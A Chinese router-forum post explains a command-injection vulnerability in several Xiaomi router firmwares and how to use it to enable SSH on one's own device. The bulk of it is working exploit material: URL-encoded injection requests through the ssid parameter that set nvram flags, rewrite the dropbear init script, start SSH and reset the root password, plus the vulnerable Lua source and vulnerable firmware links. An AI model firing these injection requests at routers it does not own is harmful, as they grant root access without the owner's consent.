|

本帖最后由 LonGDikE 于 2020-8-25 23:02 编辑
这段时间一直抽时间在分析固件,昨天终于找到漏洞,web注入方式,不过该漏洞在最新版本应该已经堵上了
详细方法及固件版本晚点整理公布
root密码算法同之前
0624:AX3600第三方QSDK固件终于出来,辛苦@li4621180,喜欢折腾的可以一试,小米AX3600,第三方QSDK固件,不过目前根据大家反馈刷机方法貌似还不完善,待更新,有问题可以进群讨论便捷一点,群号1106916203,留群号如有不妥请通知本人,我会做删除处理,主要是为了方便快捷交流
0609:AX3600的dts、分区备份及kernel_log,希望有能力的大神研究一下适配。https://www.right.com.cn/forum/forum.php?mod=viewthread&tid=4034554
0605:据说坛友@efsg说有大佬已经粗略分析了原厂固件,理论上没有校验,所以可尝试适配固件(真刷坏了也可以保修,你懂的) 希望动手能力比较强愿意折腾的同学可以(拆机)TTL提供完整的启动日志和内核日志,有望可以做出QSDK固件
0526:方法公布
----
有漏洞固件,AX3600 1.0.17版本/AX1800 1.0.34/1.0.328/1.0.336版本/AX5 1.0.16/1.0.26/AC2100 2.0.722版本;AX3600的1.0.20和1.0.50版本应该已经修复了,这两个固件获取SSH的方法看@高渐离大神的帖子哈,最新1.066/1.067的固件均有保留SSH方法
下载地址
AX3600
- http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/r3600/miwifi_r3600_firmware_5da25_1.0.17.bin
复制代码 0604:震惊!经由坛友@zhanshrd 验证,AX1800 1.0.34版本固件竟然同样也可用以下方法开启SSH,1.0.328的固件仍然适用,最新的1.0.336仍然有效
AX1800
- http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/rm1800/miwifi_rm1800_firmware_6718d_1.0.34.bin
复制代码- http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/rm1800/miwifi_rm1800_all_65ab2_1.0.328.bin
复制代码- http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/rm1800/miwifi_rm1800_firmware_fafda_1.0.336.bin
复制代码
0618:坛友@cxp863反馈,1071楼,同样适用于红米AX5,出厂固件1.0.16版本
0619:增加AX5固件下载地址
0714:AX5最新MESH固件仍有效
AX5- http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/ra67/miwifi_ra67_all_f3fac_1.0.26.bin
复制代码- http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/ra67/miwifi_ra67_firmware_63805_1.0.16.bin
复制代码 0825:最近比较忙,抽空粗略看了一下,AC2100的新固件2.0.722也带入了这个漏洞,AX6的1.0.18固件无此漏洞
AC2100
- http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/r2100/miwifi_r2100_firmware_4b519_2.0.722.bin
复制代码
降级到对应版本,进行初步设置,可以先关掉自动升级或不接外网防止自动升级到最新版本
讲一下漏洞利用
管理密码登录管理页面后
- http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/web/home#router
复制代码
0606:和小白解释下吧,<STOK>是代表你登录后自动生成的那一长串数据,自己替换下......
注入地址及示例,其它的大家发挥吧,下面这句只是改nvram设置ssl_en=1的,只要执行一步到位代码,集成进去了
- http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3Bnvram%20set%20ssh%5Fen%3D1%3B%20nvram%20commit%3B
复制代码
返回{"code":0}即代表成功,其实成不成功都会返回这个:)
注意传参顺序及指令前后都要加一个分号,即%3B,ssid=-h是必须的,否则需要等1-2分钟才能注入成功,虽然返回很快
按理只要利用漏洞注入命令注释掉或删掉/etc/init.d/dropbear中如下判断代码(135-137行),重启即可开启SSH,root密码请自行根据SN计算;不想计算的或不知道怎么计算的,可以看7楼的方法
- # 稳定版不能打开ssh服务
- flg_ssh=`nvram get ssh_en`
- channel=`/sbin/uci get /usr/share/xiaoqiang/xiaoqiang_version.version.CHANNEL`
- if [ "$flg_ssh" != "1" -o "$channel" = "release" ]; then
- return 0
- fi
复制代码 0601:一步到位代码,根据其他大侠修正简化
- http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B
复制代码 0619:把7楼改密码的也放在这吧,很多人不注意看帖子,root账号不想用初始密码的执行下面的代码改密码为admin
- http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B
复制代码
代码为网友赞助我拼凑的。。哈哈。@fredliang44 @xjboss @高渐离@pnq
0528:漏洞原理
解包固件看里面的lua脚本,17版本的固件lua脚本不知为啥没有加密(或许是故意的,哈哈)
有漏洞的这个api应该是针对AX3600新加的,api/misystem/set_config_iotdev调用的函数如下
- function setConfigIotDev()
- local XQFunction = require("xiaoqiang.common.XQFunction")
- local LuciUtil = require("luci.util")
- local result = {
- ["code"] = 0
- }
- local ssid = LuciHttp.formvalue("ssid")----参数直接代入,未过滤
- local bssid = LuciHttp.formvalue("bssid")----参数直接代入,未过滤
- local uid = LuciHttp.formvalue("user_id")----参数直接代入,未过滤
- XQLog.log(debug_level, "ssid = "..ssid)
- XQLog.log(debug_level, "bssid = "..bssid)
- XQLog.log(debug_level, "uid = "..uid)
- if XQFunction.isStrNil(ssid)
- or XQFunction.isStrNil(bssid)
- or XQFunction.isStrNil(uid) then
- result.code = 1523
- end
- if result.code ~= 0 then
- result["msg"] = XQErrorUtil.getErrorMessage(result.code)
- else
- XQFunction.forkExec("connect -s "..ssid.." -b "..bssid.. " -u "..uid)----参数直接代入,未过滤
- end
- LuciHttp.write_json(result)
- end
复制代码
大家折腾起来吧
转贴请注明作者及出处,谢谢
----
|
ac9 固件区别, ac9 美版固件, 腾达ac9最稳定的固件, ac9 美版固件, ac9 美版固件, ac9 美版固件, ac2100刷回官方固件, 腾达ac10刷第三方固件, 腾达ac9固件恩山论坛, AX1800路由器, AC2100, ac9 美版固件, AC2100, AC3100固件
-
ARE U OK
评分
-
参与人数 57 | 恩山币 +55 |
收起
理由
|
snowlxylxy
| + 2 |
赢了会所嫩模,输了回家蒸馍! |
wukaisky
| + 2 |
几亿网民,我们俩竟然神奇的在恩山相遇了!来,1分也是分! |
chantaksum
| + 1 |
这个年轻人不讲武德,耗子尾汁! |
lriigiht
| + 1 |
一看就是觉得高端、大气、上档次! |
cxpjazz
| + 1 |
感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧! |
hyjian
| + 1 |
恩山全体路由党向你学习! |
czc2020
| + 1 |
开了ssh怎么关了 能开也能关才牛逼??? |
KAYO
| + 1 |
几亿网民,我们俩竟然神奇的在恩山相遇了!来,1分也是分! |
mqk233
| + 1 |
不要怂、就是干! |
cmet2008
| + 1 |
生活不易,相遇也不易,既然这样,让我们成为朋友一起面朝大海、花开花落…… |
NSIS
| + 1 |
感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧! |
lzh7703
| + 1 |
恩山全体路由党向你学习! |
yinghulipi_SZ
| + 1 |
红米 ac2100 2.023 稳定版无法操作,提示no valid token |
mythwoo
| + 1 |
一看就是觉得高端、大气、上档次! |
812366431
| + 1 |
感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧! |
假酒
| + 1 |
RM2100 2.0.7可用 |
maplespirit
| + 1 |
几亿网民,我们俩竟然神奇的在恩山相遇了!来,1分也是分! |
鱼非鱼
| + 1 |
强大的恩山!(以下重复1万次) |
lueu6y
| -1 |
感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧! |
mona112233
| + 1 |
感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧! |
ensanwwp
| + 1 |
感谢你的分享,无论怎样,你都是最无私的人! |
seezt
| + 1 |
不要怂、就是干! |
带你去吃
| -1 |
恩山全体路由党向你学习! |
若梦似明
| + 1 |
强大的恩山!(以下重复1万次) |
利刃华尔兹
| + 1 |
ax5 1.0.26 成功开启 |
coolal
| + 1 |
感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧! |
gofreehj
| + 1 |
感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧! |
wjjveryok
| + 1 |
感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧! |
蓝色海鸥
| + 2 |
大神牛逼!!!! |
wcdmax1
| + 1 |
感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧! |
LASER-
| + 1 |
! |
yiqungui
| + 1 |
感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧! |
sky6
| + 1 |
感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧! |
crystalmxf
| + 1 |
风清云淡、飘逸悠然……极爽! |
virus1999
| + 1 |
感谢你的分享,无论怎样,你都是最无私的人!来,说说,你 E 盘上还有啥一起给我吧 |
lryu
| + 1 |
感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧! |
kinkit
| + 2 |
感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧! |
青驴何方
| + 1 |
真心期待AX5或者1800有固件,太适合大众了 |
SUNboyed
| + 1 |
快点出魔改固件吧,我在咸鱼已经按耐不住了 |
ggggdl
| + 1 |
感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧! |
csyandhch
| + 1 |
恩山全体路由党向你学习! |
XCray
| + 1 |
AX1800, 1.0.328,直接操作成功。感谢分享! |
beilsn
| + 1 |
强大的恩山!(以下重复1万次) |
sleikang
| + 1 |
AX1800最新1.0.328测试成功 |
lstions
| + 1 |
强大的恩山!(以下重复1万次) |
Reon_Aqest
| + 1 |
感谢你的分享,无论怎样,你都是最无私的人!来,说说,你E盘上还有啥一起给我吧! |
blackburn
| + 1 |
exciting! |
Aprikose
| + 1 |
未来可期啊 |
jcchen
| + 1 |
强大的恩山!(以下重复1万次) |
WertherJones
| + 1 |
风清云淡、飘逸悠然……极爽! |
frick007
| -1 |
恩山全体路由党向你学习! |
MIRROR-D
| + 1 |
支持一下,3恩币物有所值,虽然看起来只有没几步不过挖掘的过程想必非常不容易,建议 |
CATS
| + 1 |
一看就是觉得高端、大气、上档次! |
zhaosen0826
| + 1 |
恩山全体路由党向你学习! |
litengdada
| + 1 |
恩山全体路由党向你学习! |
隱姓埋名
| + 1 |
开门!我是隔壁老王! |
iwo
| + 1 |
恩山全体路由党向你学习! |
查看全部评分
|